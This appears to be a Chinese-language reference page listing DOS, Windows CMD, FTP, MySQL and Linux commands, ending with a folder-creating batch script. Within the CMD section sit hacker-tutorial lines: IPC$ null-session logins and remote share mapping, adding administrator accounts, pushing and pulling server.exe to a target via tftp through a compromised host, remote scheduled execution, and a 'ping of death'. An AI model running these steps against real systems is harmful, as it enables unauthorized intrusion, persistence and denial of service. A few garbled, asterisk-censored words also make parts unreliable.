DOS一款在20世紀末期流行的作業系統,它是一款面向磁碟的系統軟體。它的用途非常廣泛,大名鼎鼎的 Windows 98 就是基於它的。目前DOS依然活躍,比如FreeDOS。
常用命令
1 dir
無參數:查看當前所在目錄的檔案和資料夾。
/s:查看當前目錄及其所有子目錄的檔案和資料夾。
/a:查看包括隱含檔案的所有檔案。
/ah:只顯示出隱含檔案。
/w:以緊湊方式(一行顯示5個檔案)顯示檔案和資料夾。
/p:以分頁方式(顯示一頁之後會自動暫停)顯示。
|more:前面那個符號是“\”上面的那個,叫做重定向符號,就是把一個
命令的結果輸出為另外一個命令的參數。more也是一個命令,dir /w |more
得到的結果和dir /w /p的結果是一樣的。
其他的參數大家可以用:dir/?查看。
2 cd
cd 目錄名:進入特定的目錄。如果看到有個目錄顯示為:abcdef ghi 就
輸入:cd abcdef.ghi進入該目錄。
cd\ 退回到根目錄。
cd..退回到上一級目錄。
3 md rd
md 目錄名:建立特定的資料夾。 (dos下面習慣叫目錄,win下面習慣叫文
件夾。)
rd 目錄名:刪除特定的資料夾。
4 cls
清除螢幕。 清除螢幕上所有的顯示內容,只留下CLS命令前的路徑
5 copy
copy 路徑\檔案名稱 路徑\檔案名稱 :把一個檔案拷貝到另一個地方。
6 move
move 路徑\檔案名稱 路徑\檔案名稱 :把一個檔案移動(就是複製+刪除)到另
一個地方。
7 del
del 檔案名稱:刪除一個檔案。
del *.*:刪除當前資料夾下所有檔案。
del不能刪除資料夾。
8 deltree
刪除資料夾和它下面的所有子資料夾還有檔案,厲害。。。不要亂用。
9 format
format x: :x代表盤符,格式化一個分區。在dos下是用fat檔案系統格式
化的,在windows2000安裝的時候會問你要不要轉換為ntfs。
10 type
type 文本檔案名稱:顯示出文本檔案的內容。
11 edit
其實這是個小程式,編輯文本檔案用的。
12 ren
ren 舊檔案名稱 新檔案名稱:改檔案名稱。
mem 查看記憶體狀況
more 分屏顯示
move 移動檔案、改目錄名
rd 刪除目錄
ren 更改檔案名稱
type 顯示檔案內容
sys 製作DOS系統盤
xcopy 拷貝目錄與檔案
attrib 設定檔案屬性
chkdsk 檢查磁碟
date 顯示及修改日期
defrag 磁碟碎片整理
doskey 重新調用DOS命令
emm386 擴展記憶體管理
fdisk 硬碟分區
help 幫助
label 設定卷標號
lh 將程式裝入高端記憶體
memmaker記憶體最佳化管理
msd 系統檢測
path 設定搜尋目錄
prompt 設定提示符
restore 恢復備份檔案
time 顯示及修改時間
scandisk檢測、修理磁碟
set 設定環境變數
smartdrv設定磁碟加速器
undelete恢復被刪的檔案
ftp遠程檔案上傳或下載
telnet遠程登錄
常用命令具體介紹:
3.1、Dir
顯示目錄檔案和子目錄列表。
可以使用通配符(? 和 *),?表通配一個字元,*表通配任意字元
*.後綴
指定要查看後綴的檔案。 上面其實也可以為“ . 後綴”,例如dir *.exe 等於dir .exe
/p
每次顯示一個列表螢幕。要查看下一屏,請按鍵盤上的任意鍵。
/w
以寬格式顯示列表,在每一行上最多顯示 5 個檔案名稱或目錄名。
/s
列出指定目錄及所有子目錄中出現的每個指定的檔案名稱。比win環境下的查找快多了
dir *.* > a.txt 把當前目錄檔案列表寫入a.txt
dir *.* /s > a.txt 把當前目錄檔案列表寫入a.txt,包括子目錄下檔案。
3.2 、Attrib
顯示、設定或刪除指派給檔案或目錄的唯讀、存檔、系統以及隱藏屬性。如果在不含參數的情況下使用,則 attrib 會顯示當前目錄中所有檔案的屬性。
+r
設定唯讀屬性。
-r
清除唯讀屬性。
+a
設定存檔檔案屬性。
-a
清除存檔檔案屬性。
+s
設定系統屬性。
-s
清除系統屬性。
+h
設定隱藏屬性。
-h
清除隱藏屬性。
3.3、cls
清除顯示在命令提示符視窗中的所有信息,並返回空視窗,即“清屏”
3.4、exit
退出當前命令解釋程式並返回到系統。
3,5 、format
格式化
/q
執行快速格式化。刪除以前已格式化卷的檔案表和根目錄,但不在扇區之間掃描損壞區域。使用 /q 命令行選項應該僅格式化以前已格式化的完好的卷。
3.6 、Ipconfig
顯示所有當前的 TCP/IP 網路配置值、刷新動態主機配置協定 (DHCP) 和域名系統 (DNS) 設定。使用不帶參數的 ipconfig 可以顯示所有適配器的 IP 地址、子網掩碼、默認網關。
/all
顯示所有適配器的完整 TCP/IP 配置信息。
ipconfig 等價於 winipcfg,後者在ME、98 和 95 上可用。儘管 Windows XP 沒有提供象 winipcfg 命令一樣的圖形化界面,但可以使用“網路連線”查看和更新 IP 地址。要做到這一點,請打開 網路連線,右鍵單擊某一網路連線,單擊“狀態”,然後單擊“支持”選項卡。
該命令最適用於配置為自動獲取 IP 地址的計算機。它使用戶可以確定哪些 TCP/IP 配置值是由 DHCP、自動專用 IP 地址 (APIPA) 和其他配置配置的。
3.7 、md
創建目錄或子目錄
3.8 、Move
將一個或多個檔案從一個目錄移動到指定的目錄。
3.9 、Nbtstat
顯示本地計算機和遠程計算機的基於 TCP/IP (NetBT) 協定的 NetBIOS 統計資料、NetBIOS 名稱表和 NetBIOS 名稱快取。Nbtstat 可以刷新 NetBIOS 名稱快取和註冊的 Windows Internet 名稱服務 (WINS) 名稱。使用不帶參數的 nbtstat 顯示幫助。Nbtstat 命令行參數區分大小寫。
-a remotename
顯示遠程計算機的 NetBIOS 名稱表,其中,RemoteName 是遠程計算機的 NetBIOS 計算機名稱。
-A IPAddress
顯示遠程計算機的 NetBIOS 名稱表,其名稱由遠程計算機的 IP 地址指定(以小數點分隔)。
3.10、Netstat
顯示活動的 TCP 連線、計算機偵聽的連線埠、乙太網統計信息、IP 路由表、IPv4 統計信息(對於 IP、ICMP、TCP 和 UDP 協定)以及 IPv6 統計信息(對於 IPv6、ICMPv6、通過 IPv6 的 TCP 以及通過 IPv6 的 UDP 協定)。使用時如果不帶參數,netstat 顯示活動的 TCP 連線。
-a
顯示所有活動的 TCP 連線以及計算機偵聽的 TCP 和 U** 連線埠。
3.11、*ing
通過傳送“網際訊息控制協定 (ICMP)”迴響請求訊息來驗證與另一台 TCP/IP 計算機的 IP 級連線。迴響應答訊息的接收情況將和往返過程的次數一起顯示出來。Ping 是用於檢測網路連線性、可到達性和名稱解析的疑難問題的主要 TCP/IP 命令。如果不帶參數,ping 將顯示幫助。名稱和Ip地址解析是它的最簡單套用也是用的最多的。
-t
指定在中斷前 ping 可以持續傳送迴響請求信息到目的地。要中斷並顯示統計信息,請按 CTRL-BREAK。要中斷並退出 ping,請按 CTRL-C。
-lSize
指定傳送的迴響請求訊息中“數據”欄位的長度(以位元組表示)。默認值為 32。size 的最大值是 65,527。
3.12 、Rename (Ren)
更改檔案的名稱。
例如 ren *.abc *.cba
3.13、Set
顯示、設定或刪除環境變數。如果沒有任何參數,set 命令將顯示當前環境設定。
3.14 、Shutdown
允許您關閉或重新啟動本地或遠程計算機。如果沒有使用參數,shutdown 將註銷當前用戶。
-m ComputerName
指定要關閉的計算機。
-t xx
將用於系統關閉的定時器設定為 xx 秒。默認值是 20 秒。
-l
註銷當前用戶,這是默認設定。-m ComputerName 優先。
-s
關閉本地計算機。
-r
關閉之後重新啟動。
-a
中止關閉。除了 -l 和 ComputerName 外,系統將忽略其它參數。在逾時期間,您只可以使用 -a。
3.15 、System File Checker (sfc)
win下才有,在重新啟動計算機後掃描和驗證所有受保護的系統檔案。
/scannow
立即掃描所有受保護的系統檔案。
/scanonce
一次掃描所有受保護的系統檔案。
/purgecache
立即清除“Windows 檔案保護”檔案高速快取,並掃描所有受保護的系統檔案。
/cachesize=x
設定“Windows 檔案保護”檔案高速快取的大小,以 MB 為單位。
3,16、type
顯示文本檔案的內容。使用 type 命令查看文本檔案或者是bat檔案而不修改檔案
3.17 、Tree
圖像化顯示路徑或驅動器中磁碟的目錄結構。
3.18、Xcopy
複製檔案和目錄,包括子目錄。
/s
複製非空的目錄和子目錄。如果省略 /s,xcopy 將在一個目錄中工作。
/e
複製所有子目錄,包括空目錄。
3.19 、copy
將一個或多個檔案從一個位置複製到其他位置
3.20 、del
刪除指定檔案。
ftp和bat批命令和net和telnet由於子命令太多,這裡不說了,不過這幾個都是常用到的。
不常用命令
append 設定非執行檔案路徑
debug 隨機調試程式
diskcomp磁碟比較
expand 還原DOS檔案
fasthelp 快速顯示幫助信息
fc 檔案比較
interink 啟動伺服器
intersvr 啟動客戶機
qbasic Basic集成環境
setver 設定版本
share 檔案共享
subst 路徑替換
tree 列目錄樹
unformat 恢復已格式化的磁碟
vsafe 防病毒
ver 顯示DOS版本號
vol 顯示磁碟卷標號
ctty 改變控制設備
DOS常用命令詳解
dir 列檔案名稱 deltree 刪除目錄樹 cls 清屏 cd 改變當前目錄
copy 拷貝檔案 diskcopy 複製磁碟 del 刪除檔案 format 格式化磁碟
edit 文本編輯 mem 查看記憶體狀況 md 建立子目錄 move 移動檔案、改目錄名
more 分屏顯示 type 顯示檔案內容 rd 刪除目錄
sys 製作DOS系統盤
ren 改變檔案名稱 xcopy 拷貝目錄與檔案 chkdsk 檢查磁碟 attrib 設定檔案屬性
fdisk 硬碟分區 date 顯示及修改日期 label 設定卷標號 defrag 磁碟碎片整理
msd 系統檢測 path 設定搜尋目錄 share 檔案共享 memmaker記憶體最佳化管理
help 幫助 restore 恢復備份檔案 set 設定環境變數 time 顯示及修改時間
tree 列目錄樹 debug 隨機調試程式 doskey 重新調用DOS命令 prempt 設定提示符 undelete恢復被刪的檔案 scandisk檢測、修理磁碟
diskcomp磁碟比較 append 設定非執行檔案路徑
expand 還原DOS檔案 fasthelp快速顯示幫助信息
fc 檔案比較 interink啟動伺服器
setver 設定版本 intersvr啟動客戶機
subst 路徑替換 qbasic Basic集成環境
vsafe 防病毒 unformat恢復已格式化的磁碟
ver 顯示DOS版本號 smartdrv設定磁碟加速器
vol 顯示磁碟卷標號 lh 將程式裝入高端記憶體
ctty 改變控制設備 emm386 擴展記憶體管理
CMD命令
net use [url=file://ip/ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空連結
net use [url=file://ip/ipc$]\\ip\ipc$[/url] "密碼" /user:"用戶名" 建立IPC非空連結
net use h: [url=file://ip/c$]\\ip\c$[/url] "密碼" /user:"用戶名" 直接登入後映射對方C:到本地為H:
net use h: [url=file://ip/c$]\\ip\c$[/url] 登入後映射對方C:到本地為H:
net use [url=file://ip/ipc$]\\ip\ipc$[/url] /del 刪除IPC連結
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user 用戶名/del 刪除用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup ***istrators 用戶名 /add 把“用戶”添加到管理員中使其具有管理員許可權,注意:***istrator後加s用複數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schedule)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設定本地計算機時間與“目標IP”主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網路內開啟了哪些共享
net view [url=file://ip/]\\ip[/url] 查看對方區域網路內開啟了哪些共享
net config 顯示系統網路設定
net logoff 下線的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網路內正在使用的網路連線類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登入後用將密碼改為12345
net password 密碼 更改系統登入密碼
netstat -a 查看開啟了哪些連線埠,常用netstat -an
netstat -n 查看連線埠的網路連線情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協定名 例:netstat -p tcq/ip 查看某協定使用情況(查看tcp/ip協定使用情況)
netstat -s 查看正在使用的所有協定使用情況
nbtstat -A ip 對方136到139其中一個連線埠開了的話,就可查看對方最近登入的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:“-w數字”用於設定逾時間隔。
ping ip(或域名) 向對方主機傳送默認大小為32位元組的數據,參數:“-l[空格]數據包大小”;“-n傳送數據次數”;“-t”指一直ping。
ping -t -l 65500 ip 死亡之ping(傳送大於64K的檔案並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數“/all”顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools資料夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools資料夾內)
del -F 檔案名稱 加-F參數後就可刪除唯讀檔案,/AR、/AH、/AS、/AA分別表示刪除唯讀、隱藏、系統、存檔檔案,/A-R、/A-H、/A-S、/A-A表示刪除除唯讀、隱藏、系統、存檔以外的檔案。例如“DEL/AR *.*”表示刪除當前目錄下所有只讀檔案,“DEL/A-S *.*”表示刪除當前目錄下除系統檔案以外的所有檔案
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和檔案。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的檔案名稱 存放移動檔案的路徑\移動後檔案名稱 移動檔案,用參數/y將取消確認移動目錄存在相同檔案的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個檔案並把不同之處輸出到3st.txt檔案中,"> "和"> >" 是重定向命令
at id號 開啟已註冊的某個計畫任務
at /delete 停止所有計畫任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已註冊的計畫任務
at 查看所有的計畫任務
at [url=file://ip/]\\ip[/url] time 程式名(或一個命令) /r 在某時間運行對方某程式並重新啟動計算機
finger username @host 查看最近有哪些用戶登入
telnet ip 連線埠 遠和登入伺服器,默認連線埠為23
open ip 連線到IP(屬telnet登入後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
copy 路徑\檔案名稱1 路徑\檔案名稱2 /y 複製檔案1到指定的目錄為檔案2,用參數/y就同時取消確認你要改寫一份現存目錄檔案
copy c:\srv.exe [url=file://ip/***$]\\ip\***$[/url] 複製本地c:\srv.exe到對方的***下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的檔案,註:2st.txt檔案頭要空三排,參數:/b指二進制檔案,/a指ASCLL格式檔案
copy [url=file://ip/***$/svv.exe]\\ip\***$\svv.exe[/url] c:\ 或:copy\\ip\***$\*.* 複製對方***i$共享下的srv.exe檔案(所有檔案)至本地C:
xcopy 要複製的檔案或目錄樹 目標地址\目錄名 複製檔案和目錄樹,用參數/Y將不提示覆蓋相同檔案
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登入後,將“IP”的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe檔案時用,如不加-i 則以ASCII模式(傳送文本檔案模式)進行傳送
tftp -i 對方IP put c:\server.exe 登入後,上傳本地c:\server.exe至主機
ftp ip 連線埠 用於上傳檔案至伺服器或進行檔案操作,默認連線埠為21。bin指用二進制方式傳送(執行檔進);默認為ASCII格式傳送(文本檔案時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,接口地址Interface
arp 查看和處理ARP快取,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程式名或命令 /max 或/min 新開一個新視窗並最大化(最小化)運行某程式或命令
mem 查看cpu使用情況
attrib 檔案名稱(目錄名) 查看某檔案(目錄)的屬性
attrib 檔案名稱 -A -R -S -H 或 +A +R +S +H 去掉(添加)某檔案的 存檔,唯讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看檔案,參數:/Q顯示檔案及目錄屬系統哪個用戶,/T:C顯示檔案創建時間,/T:A顯示檔案上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即“DATE/T”、“TIME/T”將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設定環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程式,並顯示出:請按任意鍵繼續....
if 在批處理程式中執行條件處理(更多說明見if命令及變數)
goto 標籤 將cmd.exe導向到批處理程式中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:“:start”標籤)
call 路徑\批處理檔案名稱 從批處理程式中調用另一個批處理程式 (更多說明見call /?)
for 對一組檔案中的每一個檔案執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設定
echo 信息 在螢幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt檔案中
findstr "Hello" aa.txt 在aa.txt檔案中尋找字元串hello
find 檔案名稱 查找某檔案
title 標題名字 更改CMD視窗標題名字
color 顏色值 設定cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
ver 在DOS視窗下顯示版本信息
winver 彈出一個視窗顯示版本信息(記憶體大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源檔案 要替換檔案的目錄 替換檔案
ren 原檔案名稱 新檔案名稱 重命名檔案名稱
tree 以樹形結構顯示出目錄,用參數-f 將列出第個資料夾中檔案名稱稱
type 檔案名稱 顯示文本檔案的內容
more 檔案名稱 逐屏顯示輸出檔案
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認連線埠23為其它任何連線埠
exit 退出cmd.exe程式或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\執行檔的檔案名稱 為執行檔設定一個路徑。
cmd 啟動一個win2K命令解釋視窗。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 註冊表檔案名稱 導入註冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 註冊表檔案名稱 導出註冊表
cacls 檔案名稱 參數 顯示或修改檔案訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名erm 替換指定用戶的訪問許可權;/G 用戶名erm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 檔案名稱 查看檔案的訪問用戶許可權列表
REM 文本內容 在批處理檔案中添加註解
netsh 查看或更改本地網路配置情況
IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有回響信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc檔案。
-g 取消全局檔案名稱。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地檔案名稱 [上傳到主機上的檔案名稱] 將本地一個檔案傳送至遠端主機中
get 或 recv [遠程主機檔案名稱] [下載到本地後的檔案名稱] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批檔案至本地主機
mput local-files 將本地主機中一批檔案傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的檔案.如果有本地檔案,就將結果寫至本地檔案
ascii 設定以ASCII方式傳送檔案(預設值)
bin 或 image 設定以二進制方式傳送檔案
bell 每完成一次檔案傳送,報警提示
cdup 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連線,可指定連線連線埠
delete 刪除遠端主機中的檔案
mdelete [remote-files] 刪除一批檔案
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的檔案名稱
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連線
prompt 互動提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的檔案許可權
case 當為ON時,用MGET命令拷貝的檔案名稱到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cdup 進入遠程主機目錄的父目錄
! 在本地機中執行互動shell,exit回到ftp環境,如!ls*.zip
MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連線MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysql*** -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示錶中的記錄
mysqldump --opt school>school.bbb 備份資料庫:(命令在DOS的[url=file://mysql//bin]\\mysql\\bin[/url]目錄下執行);注釋:將資料庫school備份到school.bbb檔案,school.bbb是一個文本檔案,檔案名稱任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,範圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll檔案,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。
Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄檔案,ls -al 顯示包括隱藏檔案(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 檔案名稱 查看檔案內容
cat >abc.txt 往abc.txt檔案中寫上內容。
more 檔案名稱 以一頁一頁的方式顯示一個文本檔案。
cp 複製檔案
mv 移動檔案
rm 檔案名稱 刪除檔案,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案檔案比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資訊
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的檔案
su 許可權轉換為指定使用者
telnet IP telnet連線對方主機(同win2K),當出現bash$時就說明連線成功。
ftp ftp連線上某伺服器(同win2K)
附:批處理命令與變數
1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %
套用示例
(批處理)
echo on
set LOG_HOME=D:\home\path\logs
set DATA_HOME=D:\home\path\data
set DATA_BACKUP_HOME=D:\home\path\data\backup
set DATA_PROC_SUBFOLDER=err,processed,work
set COUNTRY_LIST=sg,my
set JOB_TYPE_EOD=eod
set JOB_TYPE_IOD=iod
set BATCH_JOB_LIST_EOD=eodtlm,eodfxc
set BATCH_JOB_LIST_IOD=iodtlm,iodfxc
set APPLICATION_LIST=webfitas,fxretail
set APP_LIST_OTHER=saa,midas
set MSG_TYPE_LIST=mt940,mt942
echo "start to created folder"
for %%C in (%COUNTRY_LIST%) do (
echo "country code:" %%C
for %%B in (%BATCH_JOB_LIST_EOD%) do (
echo "Batch Job Name:" %%B
for %%A in (%APPLICATION_LIST%) do (
echo "Application Id:" %%A
for %%S in (%DATA_PROC_SUBFOLDER%) do (
echo "Sub-folder:" %%S
mkdir %DATA_HOME%\%%C\%JOB_TYPE_EOD%\%%B\%%A\%%S
)
)
)
for %%B in (%BATCH_JOB_LIST_IOD%) do (
echo "Batch Job Name:" %%B
for %%A in (%APPLICATION_LIST%) do (
echo "Application Id:" %%A
for %%S in (%DATA_PROC_SUBFOLDER%) do (
echo "Sub-folder:" %%S
mkdir %DATA_HOME%\%%C\%JOB_TYPE_IOD%\%%B\%%A\%%S
)
)
)
for %%A in (%APPLICATION_LIST%) do (
echo "Application Id:" %%A
mkdir %LOG_HOME%\%%C\%JOB_TYPE_EOD%\%%A\
)
for %%A in (%APPLICATION_LIST%) do (
echo "Application Id:" %%A
mkdir %LOG_HOME%\%%C\%JOB_TYPE_IOD%\%%A\
)
for %%M in (%MSG_TYPE_LIST%) do (
echo "Message Type:" %%M
for %%T in (%APP_LIST_OTHER%) do (
echo "Internation and Third Party Application Id:" %%T
mkdir %DATA_BACKUP_HOME%\online\%%C\%%T\%%M
)
)
)
echo off
pause